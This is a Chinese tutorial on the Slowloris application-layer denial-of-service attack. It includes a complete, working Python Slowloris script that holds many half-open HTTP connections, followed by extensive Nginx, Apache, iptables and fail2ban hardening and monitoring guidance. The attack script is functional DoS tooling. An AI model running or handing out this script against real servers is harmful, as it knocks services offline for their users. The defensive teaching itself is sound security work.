1. 项目概述从“占座”到防御的攻防演练几年前我在负责一个在线票务系统的运维时遇到过一件怪事。每到热门演出开票前几分钟服务器监控面板上的“活跃连接数”就会异常飙升但CPU和内存使用率却纹丝不动网站响应速度变得极其缓慢最终直接“无响应”。用户反馈刷不出页面我们内部排查了半天数据库、代码逻辑都没问题。后来抓包分析才发现服务器被海量的“半开连接”给淹没了——每一个连接都慢悠悠地发来一个HTTP请求头然后就没下文了像一群人不买票却把售票窗口全给堵死了。这就是典型的Slowloris攻击一种低成本但极其有效的应用层DDoS手段。这个项目我们就用Python亲手模拟一次这种“占座式”攻击直观感受它的威力。更重要的是作为防御方我们不能只挨打。所以我会详细拆解在Nginx和Apache这两款主流Web服务器上如何通过配置“加固门窗”有效抵御这类攻击。无论你是刚接触Web安全的新手运维还是想深入理解服务器工作原理的开发者这篇从攻击到防御的实战指南都能让你不仅看懂更能动手配置真正提升你手头服务的安全性。2. 核心原理Slowloris如何“优雅”地拖垮服务器要防御必须先理解攻击是如何发生的。Slowloris攻击的精妙之处在于它“遵纪守法”地利用了HTTP协议的设计特性而非暴力蛮干。2.1 HTTP协议与连接管理的“漏洞”想象一下Web服务器就像一个餐厅每个网络连接就是一张餐桌。HTTP/1.1协议默认使用持久连接Keep-Alive好处是客户吃完一道菜发完一个请求后可以不用离开接着点下一道减少了频繁安排座位的开销。服务器会为每张“餐桌”连接分配一个服务员工作进程或线程和一部分资源内存、描述符。Slowloris攻击者扮演的就是一个“占着茅坑不拉屎”的恶意顾客。他正常地走进餐厅建立TCP连接坐下来开始慢吞吞地看菜单发送HTTP请求。关键就在于这个“慢吞吞”——他每隔很长一段时间比如30秒才告诉服务员一个菜名发送一个HTTP头字段比如X-a: b\r\n。由于请求行和请求头没有发送完毕没有遇到标志结束的\r\n\r\n服务器会认为这个请求还在传输中必须保持这个连接打开并等待剩余的数据。攻击者会同时建立成百上千个这样的连接每个都缓慢地发送数据。服务器的连接池很快就被这些“半开连接”占满而每个被占用的连接都消耗着一个宝贵的工作进程/线程和文件描述符。当所有“餐桌”都被恶意顾客占据真正的顾客正常用户就无法进入餐厅即使进来了也没有空闲的“服务员”为其服务导致服务器拒绝服务。2.2 与传统DDoS攻击的本质区别这里需要厘清一个关键概念。传统的洪水攻击如SYN Flood、UDP Flood属于网络层或传输层攻击旨在耗尽带宽、交换机或服务器的网络栈资源。它们像用垃圾卡车堵住餐厅的所有出入口动静大容易被流量清洗设备识别。而Slowloris是应用层第七层攻击。它发出的每个数据包都是合法的HTTP流量流量本身很小可能只有每秒几KB因此能轻松绕过基于流量阈值的防护。它攻击的目标是Web服务器的并发连接处理能力和资源分配逻辑。这是一种“低带宽、高杀伤”的“慢速攻击”更具隐蔽性。注意模拟此类攻击仅限用于授权的测试环境如你自己的虚拟机、容器绝对禁止对任何未授权的目标进行测试这不仅是职业道德问题更是违法行为。3. 攻击模拟用Python编写一个Slowloris攻击脚本理解了原理我们动手写一个简化版的攻击脚本。这个脚本能帮你更直观地理解攻击过程并在自己的测试环境中验证防御配置是否生效。3.1 环境准备与脚本编写首先确保你的测试环境中有Python。脚本的核心逻辑是创建多个Socket连接发送不完整的HTTP请求并定期发送少量数据以保持连接存活。#!/usr/bin/env python3 Slowloris攻击模拟脚本 - 仅用于安全学习与授权测试 import socket import time import random import threading import argparse import logging logging.basicConfig(levellogging.INFO, format%(asctime)s - %(levelname)s - %(message)s) logger logging.getLogger(__name__) class Slowloris: def __init__(self, target_host, target_port80, sockets_count200, interval15): 初始化攻击参数 :param target_host: 目标主机域名或IP :param target_port: 目标端口默认80 :param sockets_count: 要创建的socket连接数量 :param interval: 发送保持存活数据的间隔秒 self.target_host target_host self.target_port target_port self.sockets_count sockets_count self.interval interval self.sockets_list [] # 存储所有活跃的socket连接 self.is_attacking False self.user_agents [ # 伪装成不同的User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15, curl/7.68.0, Python-urllib/3.9 ] def create_socket(self): 创建一个TCP socket并连接到目标服务器 try: sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(4) # 设置连接超时 sock.connect((self.target_host, self.target_port)) # 发送不完整的HTTP GET请求 request_line fGET /?{random.randint(0, 9999)} HTTP/1.1\r\n sock.send(request_line.encode()) # 发送Host头 host_header fHost: {self.target_host}\r\n sock.send(host_header.encode()) # 发送一个User-Agent头但不发送结束的\r\n\r\n ua_header fUser-Agent: {random.choice(self.user_agents)}\r\n sock.send(ua_header.encode()) # 可以继续发送其他无意义的头部如X-a: b\r\n sock.send(bX-a: b\r\n) return sock except Exception as e: logger.error(f创建socket失败: {e}) return None def send_keep_alive(self, sock): 向指定socket发送一个保持存活的头字段 try: keep_alive_header fX-{random.randint(1000, 9999)}: {random.randint(1000, 9999)}\r\n sock.send(keep_alive_header.encode()) logger.debug(f向连接 {sock.fileno()} 发送保持存活数据) except socket.error: return False return True def attack(self): 启动攻击的主循环 logger.info(f开始对 {self.target_host}:{self.target_port} 发起Slowloris攻击连接数: {self.sockets_count}) self.is_attacking True # 第一阶段建立初始连接池 logger.info(正在建立初始连接...) while len(self.sockets_list) self.sockets_count: sock self.create_socket() if sock: self.sockets_list.append(sock) logger.info(f已建立连接 [{len(self.sockets_list)}/{self.sockets_count}]) else: time.sleep(0.5) # 创建失败时稍作等待 time.sleep(0.05) # 控制连接建立速率避免过快被识别 logger.info(初始连接池建立完成开始保持连接存活...) # 第二阶段维护连接定期发送数据 while self.is_attacking: for sock in list(self.sockets_list): # 使用list副本遍历避免修改时出错 if not self.send_keep_alive(sock): logger.warning(f连接 {sock.fileno()} 已断开尝试重建...) self.sockets_list.remove(sock) sock.close() # 尝试重建连接 new_sock self.create_socket() if new_sock: self.sockets_list.append(new_sock) logger.info(连接重建成功) else: logger.error(连接重建失败) # 报告当前活跃连接数 logger.info(f当前活跃连接数: {len(self.sockets_list)}) # 等待一段时间后再次发送 time.sleep(self.interval) def stop(self): 停止攻击关闭所有连接 logger.info(正在停止攻击...) self.is_attacking False for sock in self.sockets_list: try: sock.close() except: pass self.sockets_list.clear() logger.info(攻击已停止所有连接已关闭) def main(): parser argparse.ArgumentParser(descriptionSlowloris攻击模拟工具 (仅用于授权测试)) parser.add_argument(host, help目标主机 (例如: example.com 或 192.168.1.100)) parser.add_argument(-p, --port, typeint, default80, help目标端口 (默认: 80)) parser.add_argument(-s, --sockets, typeint, default150, help并发连接数 (默认: 150)) parser.add_argument(-i, --interval, typeint, default15, help发送保持存活数据的间隔秒数 (默认: 15)) args parser.parse_args() # 重要警告 print(*60) print(警告此脚本仅用于教育目的及对自有服务器的授权测试) print(未经授权对他人系统进行测试是非法行为) print(*60) time.sleep(2) # 给用户阅读警告的时间 attacker Slowloris(args.host, args.port, args.sockets, args.interval) try: # 启动攻击线程 attack_thread threading.Thread(targetattacker.attack) attack_thread.start() # 主线程等待用户输入停止 input(按回车键停止攻击...\n) except KeyboardInterrupt: print(\n检测到中断信号...) finally: attacker.stop() if attack_thread in locals(): attack_thread.join(timeout5) if __name__ __main__: main()3.2 脚本核心逻辑与参数解析这个脚本模拟了Slowloris攻击的两个核心阶段。在初始化阶段我们创建指定数量的TCP连接并发送一个不完整的HTTP GET请求。请求行和头部的末尾都没有发送标志结束的\r\n\r\n服务器会一直等待请求完成。在维护阶段我们每隔一段时间interval参数默认15秒向每个连接发送一个随机的、无意义的HTTP头字段如X-1234: 5678\r\n这既是为了保持TCP连接不超时断开也是为了继续延长服务器等待请求体完成的时间。关键参数你需要根据测试环境调整-s, --sockets: 并发连接数。这是攻击强度的关键。对于未加固的默认配置Apache服务器150-200个连接可能就足以使其无法响应新请求。Nginx默认处理能力更强可能需要更多。-i, --interval: 发送保持存活数据的间隔。时间越短攻击流量越明显时间越长攻击越隐蔽但连接可能因服务器超时设置而断开。需要根据目标服务器的keepalive_timeout等参数进行试探。-p, --port: 目标端口。不仅是80/443任何暴露的HTTP服务端口都可能成为目标。3.3 在测试环境中运行与观察准备目标在一台虚拟机或容器中安装并启动一个默认配置的Apache或Nginx服务器。确保你能从攻击机访问到它。运行脚本在攻击机上运行python slowloris_simulator.py 目标IP -s 100。观察脚本输出看连接是否成功建立。观察效果在服务器上使用netstat -an | grep :80 | wc -lLinux或netstat -an | findstr :80Windows观察80端口的连接数激增。使用top或htop会发现虽然连接数多但CPU和内存使用率可能并不高。在客户端尝试用浏览器或curl访问目标服务器响应会变得极其缓慢或直接超时。停止攻击按回车键脚本会关闭所有连接服务器应逐渐恢复正常。实操心得在测试时我建议先用较小的连接数如50开始逐步增加观察服务器监控指标的变化拐点。这个“拐点”就是服务器并发处理能力的极限对于后续配置防护参数有重要参考价值。同时用tcpdump或 Wireshark 抓包你能清晰地看到那些缓慢发送的、永不结束的HTTP请求片段这对理解协议层面的攻击原理非常有帮助。4. 防御实战加固Nginx服务器配置现在我们转换角色成为防御者。Nginx以其高性能和高并发处理能力闻名但其默认配置在面对精心构造的慢速攻击时仍有风险。下面是一套组合拳式的加固配置。4.1 限制连接频率与并发数这是抵御Slowloris的第一道防线目的是限制单个IP地址能够建立的连接数和请求速率。在Nginx的http、server或location块中我们可以使用limit_conn_zone和limit_conn指令来限制并发连接数使用limit_req_zone和limit_req来限制请求速率。http { # 定义限制连接数的共享内存区键为客户端IP大小为10MB limit_conn_zone $binary_remote_addr zoneperip_conn:10m; # 定义限制请求速率的共享内存区键为客户端IP大小为10MB速率每秒10个请求 limit_req_zone $binary_remote_addr zoneperip_req:10m rate10r/s; server { listen 80; server_name your_domain.com; # 限制每个IP同时只能有10个连接根据业务调整通常可设为20-50 limit_conn perip_conn 10; # 限制每个IP的请求速率每秒最多10个请求允许突发5个请求排队 limit_req zoneperip_req burst5 nodelay; # 其他配置... location / { root /usr/share/nginx/html; index index.html; } # 可以为特定location设置更宽松或严格的限制 location /api/ { # API接口可能需要更严格的限制 limit_req zoneperip_req burst2 nodelay; proxy_pass http://backend; } # 静态资源可以放宽限制或不做限制 location ~* \.(jpg|jpeg|png|gif|ico|css|js)$ { expires 1y; add_header Cache-Control public, immutable; # 通常不对静态资源做严格连接数限制 } } }limit_conn perip_conn 10;这意味着来自同一个IP地址的客户端最多只能与当前server块建立10个并发连接。Slowloris攻击需要大量并发连接此配置能直接将单个攻击源的连接数限制在很低水平。limit_req zoneperip_req burst5 nodelay;rate10r/s定义了平均每秒处理10个请求。burst5允许在短时间内突发处理最多5个超出速率的请求并将其放入队列延迟处理。nodelay表示对队列中的请求立即处理而不是严格按速率延迟这对于用户体验更友好但突发容忍度会降低防护效果需权衡。对于防御Slowloris限制连接数limit_conn比限制请求速率limit_req更直接有效。4.2 调整超时时间参数Slowloris利用服务器等待请求的超时时间。通过缩短这些超时我们可以让恶意连接更快地被释放。http { # 客户端建立连接后发送请求头的超时时间。默认60s建议大幅缩短。 client_header_timeout 15s; # 客户端建立连接后发送请求体的超时时间。 client_body_timeout 15s; # 服务器端向客户端发送响应的超时时间。 send_timeout 15s; # 与客户端的keep-alive连接在服务器端保持打开的超时时间。默认75s可适当缩短。 keepalive_timeout 30s; # 单个客户端通过一个keep-alive连接可以发送的最大请求数。限制此值可防止连接被长期占用。 keepalive_requests 100; server { # ... 其他配置 } }将client_header_timeout设置为一个较低的值如5-15秒是防御Slowloris的关键。这意味着如果客户端在15秒内没有发送完请求头Nginx将主动关闭这个连接。攻击者必须更快地发送保持存活的数据包从而增加其流量特征更容易被识别。4.3 设置连接与缓冲区限制限制连接和缓冲区大小可以防止资源被少数连接耗尽。http { # 限制客户端请求头的大小防止过大的头部消耗内存。默认1k可适当增大但需设限。 client_header_buffer_size 2k; # 大型客户端请求头的缓冲区大小和数量。 large_client_header_buffers 4 8k; # 限制客户端请求体的大小有助于防止某些变种攻击。 client_body_buffer_size 16k; client_max_body_size 1m; # 根据业务调整 # 限制每个工作进程同时打开的最大连接数包括所有客户端和后端连接。 # 这个值需要根据 worker_processes 和系统 ulimit -n 综合设定。 worker_connections 1024; events { # 每个worker进程的最大连接数 worker_connections 1024; # 使用高效的多路复用I/O模型 use epoll; # Linux # use kqueue; # FreeBSD/OS X } }large_client_header_buffers控制用于存储大请求头的内存。虽然Slowloris不依赖大头部但合理的限制是良好的安全实践。worker_connections需要与系统级限制ulimit -n匹配确保Nginx不会因打开文件描述符耗尽而崩溃。4.4 启用日志与监控异常详细的日志能帮助我们识别攻击模式。可以在http或server块中配置日志格式记录连接和请求信息。http { log_format security $remote_addr - $remote_user [$time_local] $request $status $body_bytes_sent $http_referer $http_user_agent conn$connection conn_requests$connection_requests request_time$request_time; server { access_log /var/log/nginx/security_access.log security; error_log /var/log/nginx/error.log warn; # 可以针对特定状态码如408请求超时、444连接关闭无日志进行监控 location / { # ... 其他配置 # 如果请求头超时返回408状态码 # 注意client_header_timeout触发时Nginx默认记录408并关闭连接 } } }配置完成后使用nginx -t测试配置语法然后用systemctl reload nginx重新加载配置。监控security_access.log如果发现大量来自同一IP的、request_time很长但body_bytes_sent为0的408状态请求很可能就是Slowloris攻击的迹象。注意事项这些限制参数需要根据实际业务流量进行精细调整。设置过于严格可能会误伤正常用户例如使用公共WiFi或代理的用户可能共享同一出口IP。生产环境建议先在小流量时段或预发环境测试并配合实时监控告警。5. 防御实战加固Apache服务器配置Apache HTTP Server通常简称Apache使用多进程或多线程模型如worker或event MPM处理连接每个连接在一定时间内会占用一个工作线程。这使得它在默认配置下对Slowloris攻击更为敏感。以下是针对性的加固配置。5.1 使用mod_reqtimeout模块关键防御mod_reqtimeout模块是Apache防御Slowloris的利器。它允许你为接收请求头和请求体的不同阶段设置超时可以强制关闭那些发送过慢的连接。首先确保模块已启用通常默认启用# 对于基于Debian的系统 sudo a2enmod reqtimeout # 重启Apache sudo systemctl restart apache2然后在Apache主配置文件如/etc/apache2/apache2.conf或虚拟主机配置中# 启用并配置 mod_reqtimeout IfModule mod_reqtimeout.c # 配置请求头接收超时 # 语法RequestReadTimeout header[timeout][,MinRate[rate]][,MaxRate[rate]] # header20-40,MinRate500 表示必须在20秒内开始接收数据整个头部必须在40秒内接收完毕且平均速率不低于500字节/秒。 RequestReadTimeout header5-10,MinRate1000 # 配置请求体接收超时如果请求有body # body10,MinRate500 表示请求体必须在10秒内开始接收且平均速率不低于500字节/秒。 RequestReadTimeout body10,MinRate500 /IfModule这个配置非常有效。header5-10,MinRate1000意味着客户端必须在5秒内发送第一个数据包并且整个HTTP请求头必须在接下来的5秒内总计10秒以不低于1000字节/秒的平均速率发送完毕。Slowloris攻击者发送数据的速率远低于此连接会被Apache主动切断。5.2 调整MPM多处理模块参数Apache的性能和并发模型由MPM决定。以常用的eventMPM为例我们需要调整其参数来限制单个客户端的资源占用。找到并编辑你的MPM配置文件如/etc/apache2/mods-available/mpm_event.confIfModule mpm_event_module # 每个子进程的初始线程数 StartServers 2 # 最小空闲线程数 MinSpareThreads 25 # 最大空闲线程数 MaxSpareThreads 75 # 限制每个子进程创建的线程总数最大客户端数 ThreadsPerChild * MaxRequestWorkers ThreadsPerChild 25 # 最大并发线程数即最大并发连接数 MaxRequestWorkers 150 # 旧版本叫 MaxClients # 每个连接允许的最大请求数限制keep-alive滥用 MaxConnectionsPerChild 1000 # 关键参数一个线程在处理请求时允许保持连接打开的最长时间秒 # 这直接限制了单个连接可以占用的最长时间。 Timeout 30 # 与客户端keep-alive连接在关闭前等待下一个请求的秒数 KeepAliveTimeout 5 # 启用持久连接 KeepAlive On # 单个keep-alive连接上允许的最大请求数 MaxKeepAliveRequests 100 /IfModuleMaxRequestWorkers这是Apache能同时处理的最大请求数近似于并发连接数。将其设置在一个合理的水平根据服务器内存计算大约(内存总量 - 系统预留) / 平均每个进程内存占用可以防止服务器因连接数过多而耗尽内存。Timeout这是全局超时包括接收请求、处理请求和发送响应的总时间。将其设置为较低值如30秒可以强制释放那些被Slowloris占用的线程。但要注意对于正常的上传文件等操作可能需要更长时间。KeepAliveTimeout降低此值如5秒可以减少连接在完成请求后保持空闲的时间让服务器资源更快回收。5.3 配置mod_security与mod_evasive高级防护对于更全面的防护可以考虑以下模块mod_security一个功能强大的Web应用防火墙WAF模块。可以编写规则来检测异常的请求模式例如来自同一IP的、请求头发送过慢的连接。# 在modsecurity规则中示例规则需根据实际调整 SecRule RESPONSE_STATUS rx 408 id:1001,phase:5,log,deny,msg:Potential Slowloris Attack - Request Timeout # 可以结合IP地址和请求频率进行更复杂的判断mod_evasive专门用于防御DDoS和暴力破解的模块。它可以限制每个IP的每秒请求数、同一IP对同一页面的请求频率等。# 加载模块 LoadModule evasive20_module modules/mod_evasive24.so IfModule mod_evasive24.c DOSHashTableSize 3097 DOSPageCount 2 # 每秒对同一页面允许的请求数 DOSSiteCount 50 # 每秒对同一站点允许的请求总数 DOSPageInterval 1 # 页面计数器的间隔时间秒 DOSSiteInterval 1 # 站点计数器的间隔时间秒 DOSBlockingPeriod 60 # 触发后封锁IP的时间秒 DOSEmailNotify adminyourdomain.com # 可选发送告警邮件 /IfModulemod_evasive更侧重于请求频率对于纯粹的Slowloris低请求频率但长连接效果有限但可以作为整体安全策略的一部分。5.4 系统层与网络层加固除了Apache自身配置系统层优化也至关重要。增加文件描述符限制Apache每个连接都消耗一个文件描述符。编辑/etc/security/limits.conf* soft nofile 65535 * hard nofile 65535 www-data soft nofile 65535 # 将www-data替换为你的Apache运行用户 www-data hard nofile 65535并在Apache的envvars文件中设置ULIMIT_MAX_FILES。使用防火墙限制连接利用iptables或firewalld限制单个IP到80/443端口的连接数。# iptables 示例限制每个IP到80端口的新连接速率为每秒10个允许最多20个并发连接 iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 -j REJECT iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m limit --limit 10/second --limit-burst 20 -j ACCEPT考虑前端代理或云防护在最前端部署Nginx作为反向代理利用其更强的并发处理能力和连接限制功能或者使用云服务商提供的DDoS防护服务如AWS Shield、Cloudflare等。Cloudflare等CDN服务可以隐藏你的源服务器IP并自动缓解应用层攻击。配置修改后使用apachectl configtest测试配置然后systemctl reload apache2重新加载。同样需要密切监控错误日志/var/log/apache2/error.log关注Timeout和mod_reqtimeout触发的连接关闭记录。常见问题在配置mod_reqtimeout后部分老旧客户端或网络速度极慢的正常用户可能会被误杀。解决方案是设置一个相对宽松但仍有威慑力的初始值如header20-40并通过日志监控被拒绝的IP。如果确认是误杀可以考虑将该IP加入白名单或者为特定的API路径如上传接口设置更长的超时时间。6. 通用防御策略与监控告警无论使用Nginx还是Apache一套完善的防御体系不应只依赖单点配置。6.1 架构层面的纵深防御边缘防护在互联网边界部署专门的DDoS防护设备或服务。云上的WAFWeb应用防火墙通常内置了慢速攻击防护规则。负载均衡与扩容使用负载均衡器如AWS ALB/NLB、HAProxy将流量分发到多个后端服务器。结合自动伸缩组在检测到攻击时能自动增加实例以吸收流量。但这对Slowloris这种消耗连接资源的攻击效果有限成本也高。连接管理中间件考虑使用像fail2ban这样的工具它监控服务器日志当检测到来自同一IP的过多超时错误如408时自动调用防火墙规则临时封禁该IP。# fail2ban 过滤器示例 (创建 /etc/fail2ban/filter.d/slowloris.conf) [Definition] failregex ^HOST -.*(GET|POST).*HTTP.* 408 .*$ ignoreregex # jail.local 中配置 [slowloris] enabled true port http,https filter slowloris logpath /var/log/nginx/security_access.log maxretry 10 # 10次408错误后封禁 findtime 300 # 在5分钟内 bantime 3600 # 封禁1小时6.2 监控与告警指标建立有效的监控是及时发现和响应攻击的前提。你需要关注以下核心指标监控指标说明告警阈值示例活跃连接数当前服务器处理的TCP连接数。持续超过正常基线的200%新建连接速率每秒新建立的连接数。突然飙升如从10/s升至100/s请求超时率408状态码HTTP 408 Request Timeout 的比例。超过总请求量的1%-5%请求持续时间P95/P9995%或99%的请求完成时间。显著高于正常水平如从200ms升至5s工作进程/线程数Apache/Nginx正在使用的工作单元数量。接近配置的最大值如MaxRequestWorkers套接字状态TIME_WAIT,CLOSE_WAIT等状态的连接数。TIME_WAIT异常高可能表示短时间大量连接关闭可以使用Prometheus Grafana通过nginx-exporter或apache-exporter采集指标或直接使用云监控服务来设置这些告警。6.3 应急响应流程当告警触发时应有一个清晰的应急流程确认立即登录服务器使用netstat,ss命令或iftop,nethogs等工具确认是否存在大量来自少数IP的半开连接。检查错误日志中是否有密集的408或444状态码。缓解临时封禁IP如果攻击源IP较少立即通过防火墙iptables、cloudflare防火墙规则封禁。调整配置临时调低client_header_timeout(Nginx) 或RequestReadTimeout(Apache) 的值更激进地断开慢速连接。启用挑战如果部署了Cloudflare可以开启“Under Attack Mode”要求访问者通过JavaScript挑战。流量切换如有条件将流量切换到有更强防护能力的备用环境或云服务。溯源与复盘记录攻击时间、源IP、攻击模式。分析日志看攻击是否利用了特定漏洞。事后复盘优化防护配置和响应流程。安全是一个持续的过程。Slowloris只是众多应用层攻击中的一种。通过这次从攻击模拟到防御配置的实践我希望你能建立起“理解攻击原理 - 针对性配置 - 全局监控防御”的安全思维。定期对你的Web服务器进行安全扫描和压力测试保持软件更新才能构建起真正有韧性的服务。